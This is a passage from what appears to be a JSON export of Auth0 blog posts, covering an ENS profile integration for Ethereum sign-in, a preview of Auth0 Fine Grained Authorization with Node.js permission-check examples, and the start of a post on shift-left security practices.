embrace the unknown, and shake things up.\n\n![Jhillika Kumar](https://images.ctfassets.net/23aumh6u8s0i/6DgXY8QNyuwK5YcYMMAMPq/8ff2d33817e5a69702812eb348a1964b/Women_in_Engineering_02.jpg)\n\nReflecting back on March, my favorite part was getting to meet everyone in person at the offsite, thus creating a sense of community and fostering a shared mission. I had an opportunity to lead the [IAmRemarkable](https://iamremarkable.withgoogle.com/) session in person, where we focused on self-promotion, empowerment, and inclusion. The stories were powerful, some touched my heart, and I was able to meet so many remarkable people. We also came together to carve the [word of intention](http://myintent.org/), where we were able to reflect on our purpose and make it actionable. \n\nMarch was the kind of month that makes you pinch yourself to check if it was real. Together we got to energize \u0026 motivate, educate and align, and, most importantly, recognize and celebrate! And, of course, these connections and foundations are just a part of how we continue to build our incredible WinE community. I’m so excited for what's to come for the Customer Identity Cloud and feel proud that I get to work with so many amazing people every day who are true builders, collaborators, owners, and learners.\n\nCurious about joining Okta or, in particular, Okta’s Customer Identity Cloud? [Please reach out](https://www.okta.com/company/careers/).\n","dateCreated":"2023-06-07T15:14","readTime":4,"formattedDate":"Jun 7, 2023"},{"title":"Fetch ENS profile data using Okta Customer Identity Cloud","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"4JM0BDImFBNvUvmdDi9OPG","type":"Entry","createdAt":"2021-03-22T08:18:23.119Z","updatedAt":"2024-12-13T15:55:46.797Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":60,"revision":10,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"damian-schenkelman","name":"Damian Schenkelman","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"3hNT0X2OvXm5VqR5TzuBEy","type":"Asset","createdAt":"2024-12-13T15:27:23.134Z","updatedAt":"2024-12-13T15:27:23.134Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"Damian Schenkelman","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/3hNT0X2OvXm5VqR5TzuBEy/2e111724daf3990e4ab2f5b2d5810768/Damian_Schenkelman.png","details":{"size":282420,"image":{"width":512,"height":512}},"fileName":"Damian Schenkelman.png","contentType":"image/png"}}},"lastUpdatedBy":"Robertino Calcaterra","email":"damian@okta.com","twitter":"https://x.com/dschenkelman","github":"https://github.com/dschenkelman","linkedin":"https://www.linkedin.com/in/damianschenkelman/","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"VP R\u0026D (Auth0Lab)","description":"Damian was one of Auth0's earliest employees. He loves building products for developers and taking things from 0 to 1.\n\u003cbr\u003e\u003cbr\u003e\nHe played key roles in implementing product features and growing the engineering organization in the early stages, and later on defining Auth0's architecture for scale and creating new products. Today he helps shape Auth0's long term strategy and leads Auth0Lab, a small and amazing team doing research and development of forward-looking products.\n\u003cbr\u003e\u003cbr\u003e\nHe spends his spare time with family, and friends, exercising, and catching up on all things NBA."}}],"path":"fetch-ens-profile-data-using-okta-customer-identity-cloud","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/4UyoAXBqitctuVKL4L7Ieq/ebe7b16a115eaa1737c39002e0d0b7ee/Eth_hero.jpg","size":{"width":1176,"height":1056}},"description":"ENS and Auth0 Lab are partnering to seamlessly make ENS profile data available to application developers","category":["Engineering","Best Practices","Web3"],"tags":["ens","ethereum","auth0"],"postContent":"The [Ethereum](https://ethereum.org/en/) network is a popular programmable blockchain; its ecosystem is the one where a lot of active software development is happening. To identify user accounts across the blockchain, Ethereum uses [addresses](https://ethereum.org/en/developers/docs/accounts/). Since its inception in 2015, it has grown to over 198 million [unique addresses](https://etherscan.io/chart/address) and 450 thousand [daily active addresses](https://etherscan.io/chart/active-address) at the time of writing. A big reason for its popularity is that Ethereum allows developers to create and manipulate constructs beyond the network's built-in cryptocurrency ([Ether](https://ethereum.org/en/developers/docs/intro-to-ether/)).\n\n![Graphic 01](https://images.ctfassets.net/23aumh6u8s0i/30tKSg9BZ3iQxWmOV2a85G/2a6879311b5dda35abaaf566f6bd84a5/01-fetch-ens-post.png)\n\n![Graphic 02](https://images.ctfassets.net/23aumh6u8s0i/76xsHVURfZ2bOHIKdfxN1A/d5fb9b92669d3b8493212f24d7837f79/02-fetch-ens-post.png.png)\n\nThe problem with these addresses is that while they are very machine friendly, they are not very user friendly. An address is a 42-character hexadecimal string, e.g., `0x06012c8cf97bead5deae237070f9587f8e7a266d`. They are not easy to remember and are long and complicated, making it easy to input them incorrectly.\n\n## Enter ENS\n\nIn 2016 Nick Johnson [proposed](https://eips.ethereum.org/EIPS/eip-137) creating the Ethereum Name Service (ENS) constructed to solve the aforementioned problems with Ethereum addresses. ENS was presented as a service that _\"provides flexible resolution of short, human-readable names to service and resource identifiers\"_. Now, [ENS](https://ens.domains/) is a leading decentralized naming system based on the [Ethereum blockchain](https://ethereum.org/en/developers/docs/intro-to-ethereum/). At the time of writing, it has nearly two million registered names, owned by hundreds of thousands of owners. \n\nENS maps human-readable names like `alice.eth` to machine-readable identifiers such as Ethereum addresses, providing Web3 usernames. Moreover, it allows users to choose what data, like \"avatar\" and \"email\", they want to make available as part of their public, portable profile. This profile can serve as the record for any number of dapps, and now Web2 apps as well.\n\n![Avatar](https://images.ctfassets.net/23aumh6u8s0i/7pV4xMlvqW2SPbnTyQvQoh/c40e753d90f4439ef8751bf10d146ebd/03-fetch-ens-post.png.png)\n\nUsing the [ENS Profile integration](https://marketplace.auth0.com/integrations/ens-profile) from the [Auth0 Marketplace](http://marketplace.auth0.com/), when a user [signs in with Ethereum](https://auth0.com/blog/sign-in-with-ethereum-siwe-now-available-on-auth0/), Okta Customer Identity Cloud will fetch the ENS profile data from the Ethereum network and make it available as [ID Token](https://auth0.com/docs/secure/tokens/id-tokens) claims. That enables you to develop applications leveraging users' ENS profiles and update your application logic to communicate with the Ethereum blockchain.\n\n## Reap the Benefits\n\nThe **ENS Profile** integration has several benefits for both developers and end-users:\n\n* **Leverage public user profiles:** As a developer, you can use any ENS record as part of your application. That allows you to support user profile-related functionality without implementing [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) logic and UI for it.\n* **Reduce user friction:** Users often dislike having to spend time re-creating profiles for each application. Once users configure the appropriate [ENS profile records](https://docs.ens.domains/ens-improvement-proposals/ensip-5-text-records), you can display user-friendly usernames and profile pictures and automatically send emails to them. Users will not need to re-enter their profile data into the application, improving the user experience. \n* **Seamlessly integrate with a growing ecosystem:** **ENS Profile** requires minimal changes to your code and allows your application to take advantage of Web3 constructs and its user base. User profile data from ENS is available in ID Tokens. Having ENS data in the ID Token means you don't need to update your application with dependencies and logic that retrieves ENS profile data from the Ethereum network. Instead, Okta Customer Identity Cloud and the **ENS Profile** integration abstract that from you, allowing you to integrate with Web3 constructs in your application with minimal friction.\n\nThe following shows how an application might display the ENS name and avatar (bottom-left corner) after a user signs in:\n\n![ENS](https://images.ctfassets.net/23aumh6u8s0i/5J4W3iSTYSDT3uV8oFzOjr/c213868a315a8fc2d0d7c22635508518/04-fetch-ens-post.png.jpg)\n\n## How It Works\n\nThe integration needs the user's Ethereum address to fetch data from ENS, and developers must have the [Sign-in with Ethereum](https://auth0.com/blog/sign-in-with-ethereum-siwe-now-available-on-auth0/) integration installed to use **ENS Profile**.\n\nWhen users sign in with Ethereum, the integration will query their ENS profile. The integration retrieves ENS data from the Ethereum network through one or more providers. These providers expose APIs, so you don't have to connect directly to the Ethereum network to read data from it, providing ease of use. For your flexibility, the **ENS Profile** integration supports any of these providers:\n\n* [Infura](https://infura.io/product/ethereum)\n* [Pocket](https://www.pokt.network/pocket-gateway-ethereum-mainnet)\n* [Ankr](https://www.ankr.com/protocol/public/)\n* [Alchemy](https://www.alchemy.com/supernode)\n* [Etherscan](https://etherscan.io/apis)\n* [Cloudflare](https://developers.cloudflare.com/web3/ethereum-gateway/)\n\nAfter retrieving the profile data, the integration will add it to the ID Token that is issued as part of the user login flow. The following [ENS records](https://docs.ens.domains/ens-improvement-proposals/ensip-5-text-records) will be available as ID Token claims ([namespaced](https://auth0.com/docs/secure/tokens/json-web-tokens/create-namespaced-custom-claims) with `https://ens.eth` to avoid collisions):\n\n* `https://ens.eth/name (the domain name)`\n* `https://ens.eth/email`\n* `https://ens.eth/description`\n* `https://ens.eth/url`\n* `https://ens.eth/notice`\n* `https://ens.eth/keywords`\n* `https://ens.eth/com.github`\n* `https://ens.eth/com.peepeth`\n* `https://ens.eth/com.linkedin`\n* `https://ens.eth/com.twitter`\n* `https://ens.eth/io.keybase`\n* `https://ens.eth/org.telegram`\n* `https://ens.eth/avatar`\n* `https://ens.eth/content`\n\nThe following is one example of an ID Token payload that is available after installing the integration:\n\n```\n{\n \"https://ens.eth/email\": \"jane.doe@example.com\",\n \"https://ens.eth/url\": \"https://twitter.com/janedoe\",\n \"https://ens.eth/com.github\": \"https://github.com/janedoe\",\n \"https://ens.eth/com.twitter\": \"https://twitter.com/janedoe\",\n \"https://ens.eth/avatar\": \"https://www.gravatar.com/avatar/e2a7e0fbfb2c1d9aeb01fd03648da78e?s=256\u0026d=identicon\u0026r=PG\",\n \"nickname\": \"janedoe.eth\",\n \"name\": \"\",\n \"picture\": \"https://s.gravatar.com/avatar/e2a7e0fbfb2c1d9aeb01fd03648da78e?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fjd.png\",\n \"updated_at\": \"2022-06-09T17:11:37.685Z\",\n \"iss\": \"https://test-issuer.us.auth0.com/\",\n \"sub\": \"oauth2|siwe|eip155%3A1%3A0xde399eB33C579feeB87737B4D44932778C00FBcD\",\n \"aud\": \"k5bD0kOBesIwHzL0LVojBcn1DQnPiQD6\",\n \"iat\": 1654794700,\n \"exp\": 1654830700,\n \"auth_time\": 1654794697\n}\n```\n\nThat's it. You will be able to use any of the ENS related token claims as part of your application logic just like you have been doing so far.\n\nWe can't wait to see what you build with this!\n\n## What's Next?\n\nThe Auth0 Lab team is actively exploring the best ways to enable developers to build applications that rely on Web3 identity constructs and help bridge the Web2 and Web3 worlds. You can follow our progress on [Twitter](https://twitter.com/auth0lab). If you're interested in speaking with the team, join our [Discord](https://discord.gg/xkbkz9rZcD) and start a thread.\n\nThe [Auth0 Marketplace](https://marketplace.auth0.com/) is looking for Web3 partners to build new extensions onto Okta Customer Identity Cloud. Visit [https://auth0.com/integrate](https://auth0.com/integrate) to learn more.\n\n","dateCreated":"2023-02-14T19:20","readTime":5,"formattedDate":"Feb 14, 2023"},{"title":"Auth0 Fine Grained Authorization: Developer Community Preview Release","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"4JM0BDImFBNvUvmdDi9OPG","type":"Entry","createdAt":"2021-03-22T08:18:23.119Z","updatedAt":"2024-12-13T15:55:46.797Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":60,"revision":10,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"damian-schenkelman","name":"Damian Schenkelman","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"3hNT0X2OvXm5VqR5TzuBEy","type":"Asset","createdAt":"2024-12-13T15:27:23.134Z","updatedAt":"2024-12-13T15:27:23.134Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"Damian Schenkelman","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/3hNT0X2OvXm5VqR5TzuBEy/2e111724daf3990e4ab2f5b2d5810768/Damian_Schenkelman.png","details":{"size":282420,"image":{"width":512,"height":512}},"fileName":"Damian Schenkelman.png","contentType":"image/png"}}},"lastUpdatedBy":"Robertino Calcaterra","email":"damian@okta.com","twitter":"https://x.com/dschenkelman","github":"https://github.com/dschenkelman","linkedin":"https://www.linkedin.com/in/damianschenkelman/","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"VP R\u0026D (Auth0Lab)","description":"Damian was one of Auth0's earliest employees. He loves building products for developers and taking things from 0 to 1.\n\u003cbr\u003e\u003cbr\u003e\nHe played key roles in implementing product features and growing the engineering organization in the early stages, and later on defining Auth0's architecture for scale and creating new products. Today he helps shape Auth0's long term strategy and leads Auth0Lab, a small and amazing team doing research and development of forward-looking products.\n\u003cbr\u003e\u003cbr\u003e\nHe spends his spare time with family, and friends, exercising, and catching up on all things NBA."}}],"path":"auth0-fine-grained-authorization-developer-community-preview-release","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/5ebGrKp5IpW8CyG4GgRhFj/d8deba1e3aa502069f44f61ed802ec09/FGA.png","size":{"width":1176,"height":1056}},"description":"We are excited to announce the Developer Community Preview for Auth0 Fine Grained Authorization (FGA), our upcoming SaaS to solve authorization-at-scale for developers.","category":["Engineering","Best Practices","Fine Grained Authorization"],"tags":["fga","auth0","authorization","fine-grained"],"postContent":"## What Is Fine Grained Authorization?\n\n[Authentication is about who the user is. Authorization is about what they can do.](https://auth0.com/intro-to-iam/authentication-vs-authorization/)\n\nHistorically, software applications have, in general, handled [authorization](https://auth0.com/intro-to-iam/what-is-authorization/) in a coarse grained manner. A user has one or more roles in an application, which grants them permissions to perform certain actions across the application. This worked well for a while because users didn't create content in systems. As social and work collaboration applications become mainstream, a different kind of authorization became necessary: fine grained authorization.\n\nAn application implements fine grained authorization when it can determine a user's permission to perform actions on any object in the application, and users can create objects in the application and manage permissions to those objects.\n\nThis is \"fine grained\" because there is no lower limit to the granularity at which builders of the system can make authorization decisions. It is up to the builders of the system to determine how granular they want authorization to be, and up to the users of the system to determine who has specific permissions on objects.\n\n## Why Is Fine Grained Authorization Important?\n\nFine grained authorization is increasingly becoming a critical element in software. For example:\n\n* **Collaboration and social** features are things users expect, such as the ‘Share’ button you see in so many applications. This applies to both business-related assets, such as documents and project boards, and personal assets like pictures and home IoT devices. Specifically sharing one of these objects with another user is a Fine Grained Authorization use case.\n* **Security, compliance, and privacy** are musts for any software application from day 1, and authorization is a big part of solving those concerns. In fact, the [TOP OWASP 2021 risk is broken access control](https://owasp.org/Top10/).\n\nHowever, solving authorization in an application is not a trivial matter. We believe applications solve authorization correctly if their authorization solution has the following characteristics:\n\n1. **Reviewable:** It should be easy to determine \"who can access what,\" essentially understand the rules used to enforce access control.\n2. **Easy to manage change:** Authorization related changes must be explicit and traceable. Change management control for authorization is important.\n3. **Auditable:** It should be possible to know what happened with regards to authorization, in essence \"who tried to access what, and when?\".\n4. **Reliable:** Authorization decisions are made as part of most flows/requests, so authorization components need to always be running and returning the expected results.\n5. **Fast:** Authorization decisions are made as part of most flows/requests, so they need to be fast. If authorization decisions are slow, then the end-user experience is slow as a whole.\n\nImplementing all of the above is complex, even with expertise. So we looked at how we could solve authorization for our customers, and allow them to focus on their core business. This is what led us to create **Auth0 Fine Grained Authorization.**\n\n## What Is Auth0 Fine Grained Authorization?\n\nAuth0 Fine Grained Authorization (FGA) is a SaaS to solve **fine grained authorization at scale for developers**. It is inspired by [Google Zanzibar](http://zanzibar.academy), the [system Google uses to solve authorization](https://auth0.com/blog/auth0-introduces-zanzibar-academy/) across all their products, such as Google Drive, Youtube, Google Cloud, and others.\n\nAuth0 FGA does not require you to be using Auth0 already. You can use Auth0 FGA with any identity provider: your own user database (e.g. MySQL, PostgreSQL), Auth0, Okta or anything else.\n\nAuth0 FGA centralizes your authorization. It becomes your \"authorization (micro)service\" if you will. It's a single place for you to define your authorization model, store your authorization data and make your authorization decisions, across all your apps and products.\n\nCentralizing your authorization logic and decisions into a single service that has the flexibility to handle use cases across your different products gives you distinct advantages:\n\n* **Simplify security auditing:** Explicit authorization rules are easier to audit by internal and external parties.\n* **Lower costs:** Standardizing how authorization is done across your company makes it easier for developers to switch teams.\n* **Deliver faster:** You’ll be able to ship features and products faster, as the system is easily extensible to new requirements.\n* **Security logging:** The Auth0 FGA service generates logs for all operations out-of-the-box, both reads and writes.\n* **Empower your users:** Allow users to take control of granting access to their data directly in your application.\n* **Fast and reliable at scale:** A centralized service dedicated to fine grained authorization should scale as your business and products grow. Since Auth0 FGA specializes in fine grained authorization and nothing else, it can be particularly optimized for access control patterns and use cases, improving the latency and reliability of your authorization approach.\n\n\u003cbr\u003e\nAuth0 FGA supports granting access at an atomic object level in any system, easily enabling collaboration between users, going far beyond typical role-based access control (RBAC). It also supports building custom roles into any system, empowering your customers to define how to manage access. Auditing capabilities provide fundamental building blocks for security and compliance teams. The more we’ve spoken to customers about it, the more we’ve learned just how many use cases it can solve for.\n\n![Auth0 FGA](https://images.ctfassets.net/23aumh6u8s0i/21LaMJQrrDSNHmIEP2oWhO/17fd5e2a825a937590557973d59678b3/Uploaded_from_Auth0_Fine_Grained_Authorization__Developer_Community_Preview_Release)\n\nOrganizations like [AirBNB](https://medium.com/airbnb-engineering/himeji-a-scalable-centralized-system-for-authorization-at-airbnb-341664924574) and [Carta](https://medium.com/building-carta/authz-cartas-highly-scalable-permissions-system-782a7f2c840f) have built [Zanzibar-like](https://zanzibar.academy/) systems to solve their authorization needs. We don’t think organizations should build the same authorization tooling, again and again, so we set out to build one version everyone can use. We developed Auth0 FGA as a service so you don't have to.\n\n## How Do I Get Started?\n\nTo start using Auth0 FGA you need to do three things:\n\n1. Define your authorization model ([docs](https://docs.fga.dev/modeling))\n2. Write authorization data from your system to Auth0 FGA ([docs](https://docs.fga.dev/writing-data))\n3. Add authorization to your API by adding access control checks to your system ([docs](https://docs.fga.dev/integration))\n\n\n\u003cdiv class=\"alert alert-info alert-icon\"\u003e\n \u003ci class=\"icon-budicon-487\"\u003e\u003c/i\u003e\n \u003cstrong\u003eNote:\u003c/strong\u003e\u003cbr\u003e \n \u003cb\u003eThe Developer Community Preview is meant to help us learn how customers use the product. If you have feedback, reach out on our \u003ca href=\"https://discord.gg/6jsgXhVBu6\"\u003eCommunity Discord\u003c/a\u003e.\u003cbr\u003e \n\u003c/div\u003e\n\nFrom that point on, all authorization decisions are centralized and made by Auth0 FGA. You can think of it as your \"authorization microservice.\"\n\n![Auth0 FGA](https://images.ctfassets.net/23aumh6u8s0i/tROyM1vl5FzzqImS1xjNU/d6a4a8f07e6aca48aed81f4aafadd821/Uploaded_from_Auth0_Fine_Grained_Authorization__Developer_Community_Preview_Release)\n\n### A brief example\n\nLet's say you were to start from a Node.js API to manage projects. That API doesn't have authorization capabilities yet, but it does have authentication.\n\nYou have an endpoint that would return a particular project given its project ID. In that endpoint, you might have code like the one from the following snippet. The second line verifies the [JSON Web Token](https://jwt.io/) (JWT) sent as part of the request to perform [authentication](https://auth0.com/intro-to-iam/what-is-authentication/), using [express-jwt](https://www.npmjs.com/package/express-jwt).\n\n```js\napp.get('/project/:id',\n jwt({ secret: PUBLIC_KEY, algorithms: ['RS256'] }),\n // authorize access\n async function(req, res, next) {\n // your business logic\n }\n);\n```\n\nNow we want to add [authorization](https://auth0.com/docs/authorization) so only users that can **read** a project can call this endpoint.\n\nFirst, we would install and setup the Auth0 Fine Grained Authorization Node.js SDK. You would need to obtain some data from your Auth0 Fine Grained Authorization account, and follow [these steps](https://docs.fga.dev/integration/getting-your-api-keys) to get it.\n\n```js\nconst { Auth0FgaApi } = require('@auth0/fga');\n\nconst auth0Fga = new Auth0FgaApi({\n environment: AUTH0_FGA_ENVIRONMENT,\n storeId: AUTH0_FGA_STORE_ID,\n clientId: AUTH0_FGA_CLIENT_ID,\n clientSecret: AUTH0_FGA_CLIENT_SECRET,\n});\n\n...\n\napp.get('/project/:id',\n jwt({ secret: PUBLIC_KEY, algorithms: ['RS256'] }),\n function(req, res) {\n // your business logic\n }\n);\n```\n\n\nYou would then add a new middleware that calls Auth0 Fine Grained Authorization to perform authorization on every request, after authentication has taken place. You know who the user is (authentication), now you want to check what they can do (authorization):\n\n```js\napp.get('/project/:id',\n jwt({ secret: PUBLIC_KEY, algorithms: ['RS256'] }),\n async function(req, res, next) {\n try {\n const result = await auth0Fga.check({\n tuple_key: {\n user: req.user.sub,\n relation: 'read',\n object: `project:${req.params.id}`,\n },\n });\n\n if (!result || !result.allowed) {\n return res.status(403)\n \t.send({ code: 'missing_permissions', message: `ForbiddenError: Not allowed to access object ${req.params.id}` });\n }\n\n next();\n } catch (err) {\n // handle error\n return next(err);\n }\n },\n function(req, res) {\n // your business logic\n }\n);\n```\n\nThe key part of the new middleware is this one, where we call the Auth0 Fine Grained Authorization API:\n\n```js\nconst result = await auth0Fga.check({\n tuple_key: {\n user: req.user.sub,\n relation: \"read\",\n object: `project:${req.params.id}`,\n },\n});\n```\n\nWe are conceptually asking the question **\"can the {user} read project:{id}\"?**:\n\n* The **user** identifier is obtained from the JWT [sub (subject) claim](https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2), as the JWT validation middleware sets all claims for the JWT in the **req.user** object as properties. Whatever your existing authentication method is, you can easily integrate it with Auth0 FGA.\n* The **relation** is \"read\" because the endpoint is a **GET**, it allows the caller to \"**read\"** one project. For **PUT** or **PATCH** you would use **\"write\"**.\n* The **object** is made up of the object type (project) and the project ID. The **object** **ID** comes from the request parameters (the path). A full URL for the request might be GET {API\\_URL}/projects/1234, so the **object** would be **project:1234**.\n\nYou can learn about **CHECK** requests in depth [here](https://docs.fga.dev/intro/auth0-fga-concepts#what-is-a-check-request).\n\nThe previous example is intentionally verbose to show you the inner workings of things. You can imagine having SDKs for any web framework, API Gateway, and even policy languages that easily allow you to configure authorization per endpoint. For example:\n\n```js\napp.get('/projects/:id',\n jwt({ secret: PUBLIC_KEY, algorithms: ['RS256'] }),\n authorize(req =\u003e ({\n user: req.user.sub,\n relation: 'read',\n object: `project:${req.params.id}`\n })),\n function(req, res) {\n // your business logic\n }\n);\n```\n\n## What's in the Developer Community Preview?\n\nThe Auth0 FGA Developer Community Preview is completely free and includes the features below. This is a chance for you and your teams to try the product out, assess how you'd integrate it with your apps, and give us your feedback.\n\n\n\u003cdiv class=\"alert alert-info alert-icon\"\u003e\n \u003ci class=\"icon-budicon-487\"\u003e\u003c/i\u003e\n \u003cstrong\u003eNote:\u003c/strong\u003e\u003cbr\u003e \n \u003cb\u003eThe rate limits in the API are intentionally set low and there are no SLAs, as the Developer Community Preview is meant to help us learn how customers use the product. For additional inquires, please reach out on the \u003ca href=\"https://discord.gg/6jsgXhVBu6\"\u003eCommunity Discord\u003c/a\u003e.\u003cbr\u003e \n\u003c/div\u003e\n\n### Management dashboard\n\nThe management dashboard ([https://dashboard.fga.dev/](https://dashboard.fga.dev/)) allows you to create an account and a store. You can use the dashboard to define your authorization model, write authorization data, and perform authorization checks.\n\n![Management dashboard](https://images.ctfassets.net/23aumh6u8s0i/3BFXmCWtMBx8Bqtrrj2sh0/91674dba44c3c779518b3421a2f16df1/02.jpg)\n\n### Documentation\n\nWe have written extensive documentation ([https://docs.fga.dev/](https://docs.fga.dev/)) to help you learn the main concepts, get started, and explore advanced use cases.\n\n![Documentation](https://images.ctfassets.net/23aumh6u8s0i/7wFQjqES9oqiEXTYOpshM1/aa3e08e49cdb20a80d6b24b9ca2639b0/01.jpg)\n\n### HTTP API and SDKs\n\nAuth0 FGA is a product built for developers. We’ve created an API for developers to integrate Auth0 FGA into their systems. Everything you can do with the dashboard you can also do with the API.\n\nAt launch, we are shipping with SDKs for [Javascript](https://github.com/auth0-lab/fga-js-sdk) and [Golang](https://github.com/auth0-lab/fga-go-sdk). If you'd like an SDK for another language let us know in [Discord](https://discord.gg/6jsgXhVBu6). We can easily generate it from our OpenAPI definitions.\n\n![Auth0 FGA](https://images.ctfassets.net/23aumh6u8s0i/5Tdtrh6uySJPvMPsH2ms6/54517d4f5b1749909bce5f32c529a806/03.jpg)\n\n## What's Next?\n\nWe are excited about the capabilities that Auth0 FGA will unlock for our customers. We want to make sure our roadmap items are driven by customer feedback and input. So if you’re interested in the product, please let us know your thoughts by joining our Auth0 Lab community [here](https://discord.gg/6jsgXhVBu6).\n\nWe are also looking forward to the future, especially the \"better together\" use cases that Auth0 Fine Grained Authorization will enable for both Auth0 and Okta customers.\n\nWe hope you'll join us on this journey and are eager to hear your thoughts on what we’ve built so far.\n\nTake a look, try it out at [https://auth0.com/developers/lab/fine-grained-authorization](https://auth0.com/developers/lab/fine-grained-authorization), and let's learn together!","dateCreated":"2021-12-15T14:01","readTime":10,"formattedDate":"Dec 15, 2021"},{"title":"Why Auth0 is 'Shifting-Left' on Security","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"12rReFwdbYhRtI9ZAckSec","type":"Entry","createdAt":"2021-03-22T08:18:16.456Z","updatedAt":"2021-04-14T00:24:38.565Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":7,"revision":3,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"charlotte-townsley","name":"Charlotte Townsley","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6j7qCtlzfiqMEpE7x8W9QB","type":"Asset","createdAt":"2021-04-14T00:24:29.835Z","updatedAt":"2021-04-14T00:24:29.835Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"apollo (1)","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/6j7qCtlzfiqMEpE7x8W9QB/cb6cfed1851cd2f103590602753b49e0/apollo__1_.png","details":{"size":14485,"image":{"width":800,"height":800}},"fileName":"apollo (1).png","contentType":"image/png"}}},"lastUpdatedBy":"diego.poza@auth0.com","email":"charlotte.townsley@auth0.com","twitter":null,"github":null,"linkedin":"https://www.linkedin.com/in/charlotte-t-a73a43/","isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Former Director of Security Engineering","description":"Charlotte is an experienced security professional with a long history of successfully and securely leading global brands, including PwC, Hewlett-Packard, and Daimler Trucks North America. She is a Certified Secure Software Life Cycle Professional (CSSLP), Certified Information Systems Security Professional (CISSP), and Certified Ethical Hacker (C|EH), passionate about proactive and defensive security through early lifecycle improvements."}}],"path":"why-auth0-is-shifting-left-on-security","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/51CZ0GAmVIgBS3zOEvMHG3/0525d0864a0a6d5f43ea6c46882c2ce0/shift-left-header","size":{"width":1765,"height":1585}},"description":"Focusing security efforts early in the SDLC provides proactive, impactful protection against evolving threats and attacks","category":["Engineering","Best Practices","Shifting-Left"],"tags":["security","development","shift-left","lifecycle"],"postContent":"\n\n## Shifting Left for Improving Security Outcomes\n\n**TL;DR:** Shifting security to the left, or early in the Software Development Life Cycle (SDLC), creates more effective, less costly security controls, promotes developer ownership of security principles and features, and helps reduce risk to our organization.\n\n## What does Shift-Left Mean?\n\nShift-left refers to a focus on security efforts early in the Software Development Life Cycle (SDLC). These early phases include early developer and technologist awareness efforts, as well as secure design, development, and deployment of software.\n\n![SDLC](https://images.ctfassets.net/23aumh6u8s0i/7irltF8FB74O9aFLUP84Xa/9e0f7fe1f8ee1c5a16a6d03f343b8bda/image1)\n\nShift-left is a well-known term in the [software development and testing industry](https://dzone.com/articles/software-testing-trends-to-watch-for-in-2019). It refers to both security and non-security specific testing and evaluation of an application early in the development lifecycle. A shift-left mindset helped develop some notable non-security specific techniques such as [Test Driven Development (TDD)](https://www.guru99.com/test-driven-development.html) and [Agile methodologies](https://smartbear.com/learn/automated-testing/shifting-left-in-testing/). \n\n## What are the Benefits of Shift-Left?\n\nThe clear benefit to shift-left is that a focus on the early design and development phases translates to [fewer defects in the later stages](https://www.cigniti.com/blog/successfully-implementing-tdd-bdd-to-enable-shift-left-testing-approach/). Shift-left is well-recognized as an approach that [lowers the cost of defect remediation](https://www.bmc.com/blogs/what-is-shift-left-shift-left-testing-explained/). In fact, the cost of fixing code flaws [increases exponentially with each phase to the right in the SDLC that they are found and remediated](https://deepsource.io/blog/exponential-cost-of-fixing-bugs/). The 2019 Poneman study estimated that vulnerabilities detected in the early [development process cost around ~$80 to remediate. However, the same vulnerabilities can cost ~$7600 to remediate](https://resources.whitesourcesoftware.com/blog-whitesource/shift-left-testing) if detected after deployment to production. This is a _9400% increase in cost_!\n\nIt is worth noting that the term shift-left can be a misnomer, as it denotes a linear phased approach, rather than a continuous approach. In actuality, software is developed in an infinite cycle of continuous design, development, remediation, integration, delivery, and monitoring.\n\n![Continuous Development Life Cycle](https://images.ctfassets.net/23aumh6u8s0i/3R7h35zCpEV3jm0snCemXc/b774324a5e660ff997faecf2e241f82f/image2)\n\u003cp align=\"center\"\u003e\u003ci\u003eContinuous Development Life Cycle\u003c/i\u003e\u003c/p\u003e\n\nBecause each phase in the infinite cycle is discrete and identifiable, the term shift-left is still helpful in understanding the efforts in moving security earlier in the life cycle. As a mindset, shift-left is both a way to train developers, and a way to design, develop, and deploy code more securely and with less cost. So while we refer to shift-left to identify our efforts, we are not promoting the abandonment of a continuous development and deployment cycle.\n\n## What is Auth0 Doing to Shift-Left in Security?\n\nThe focus on defensive and preventive controls early in the SDLC encompasses several key initiatives at Auth0. These initiatives include the improvement of **Static Analysis Security Testing (SAST)**, the creation and publication of the **Secure Software Benchmarks (SSB)**, and the development of **Security Champions**.\n\nThe security team is improving **Static Analysis Security Tests (SAST)** for all new and 